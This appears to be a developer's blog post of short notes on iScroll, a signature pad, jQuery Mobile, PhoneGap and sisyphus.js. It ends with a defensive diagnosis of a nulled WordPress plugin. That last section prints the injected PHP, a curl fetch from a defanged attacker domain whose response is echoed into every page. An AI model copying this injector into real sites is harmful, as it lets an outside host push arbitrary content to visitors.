My First Stack Overflow Answer

http://stackoverflow.com/questions/11783402/iscroll-and-similar-will-not-scroll-horizontally-phonegap-jqtouch-iphone-app/11852309#11852309

I use Stack Overflow a ton, and I’m going to try to make more of an effort to contribute.

I was having trouble scrolling horizontally with the iscroll plugin, and I solved it by enabling the hScroll option (which I thought should have been enabled by default). I use iscroll’s zoom function to enable zooming on a single div, while the rest of the page does not zoom.

SigPad API

I had difficulties getting Thomas J Bradley’s HTML5 Signature Pad to let me to use its API without resetting the field. This Github issue explains a workaround:

signature-pad issue #13

He is saving the signature, declaring the api variable, then regenerating the signature.

I needed to use the .getSignatureImage() api function which allows me to turn the signature into a base64 string so I could store the signature in a database.

Jquery Mobile - Only Load Once

If you only want something to load once, you can use the “pageinit” event.

Here’s an example of some code with “pageinit”:

$(document).delegate("#yourPage", "pageinit", function(event) { alert( "ALERT!"); });

The code above would not run if you visited the page again.

Make Phonegap Responsive

The following was absolutely mandatory for me to get my phonegap app to be responsive: https://github.com/cargomedia/jquery.touchToClick

Without modification, Phonegap will wait for a “double-click” after the user taps. This results in a noticeable delay. With the plugin above included, it removes the delay.

Other plugins I tested wanted me to use selectors for each element I didn’t want delayed.

Sisyphus.js

I’m really impressed with sisyphus.js and its usage of HTML5 localStorage. It makes it so users won’t need to re-enter data into a form when they close the window.

It’s super easy to implement, you only need to include the following in your header:

<script type="text/javascript" src="sisyphus.min.js"></script>

And, you will need to activate it on the form you want to save with something like this:

$('form').sisyphus();

Source: https://github.com/simsalabim/sisyphus

Write To Closest Div (with certain class)

The following code makes it so I don’t have to mention specifically what page needs to load before a script runs. This is good for having the same function on several different pages in Jquery Mobile.

var pageId = $(this).closest('div.diagramPage').attr('id');

$(document).delegate('#' + pageId, 'pageshow', function() { });

I included the class because I don’t want to end up moving code around and having it write to a different div.

Fixing: "The requested URL /jquery-1.6.3.min.js was not found on this server."

If a WordPress site starts printing this at the top of every page:

Not Found

The requested URL /jquery-1.6.3.min.js was not found on this server.

check whether a plugin is pulling in a fake “jQuery” file. I traced this one to injected code in all_in_one_seo_pack.php:

$url = "hxxp://www.4llw4d[.]freefilesblog[.]com/jquery-1.6.3.min.js"; // defanged; attacker-controlled
$ch = curl_init();
$timeout = 5;
curl_setopt($ch,CURLOPT_URL,$url);
curl_setopt($ch,CURLOPT_RETURNTRANSFER,1);
curl_setopt($ch,CURLOPT_CONNECTTIMEOUT,$timeout);
$data = curl_exec($ch);
curl_close($ch);
echo "$data";

That is not loading jQuery. It fetches whatever a random domain returns and echoes it straight into the page on every request. The error was just the malware host returning its own 404, printed onto the page in place of the usual payload (normally spam links or hidden SEO content). It rode in on a nulled “Pro” copy of All in One SEO Pack.

Pointing $url at the real code.jquery.com doesn’t fix anything, it just dumps the jQuery source as text onto the page, because the code echoes the response body instead of loading a script. The only real fix is to remove the nulled plugin and install the official free version from the WordPress plugin directory.

Watch out for this pattern: nulled (pirated) WordPress plugins routinely ship with a fetch-and-echo injector disguised as a jQuery loader. Sucuri has a good breakdown in Fake jQuery Scripts in Nulled WordPress Plugins, and All in One SEO publishes its own warning about nulled copies. A free “Pro” plugin isn’t free; the price is remote code running on your server.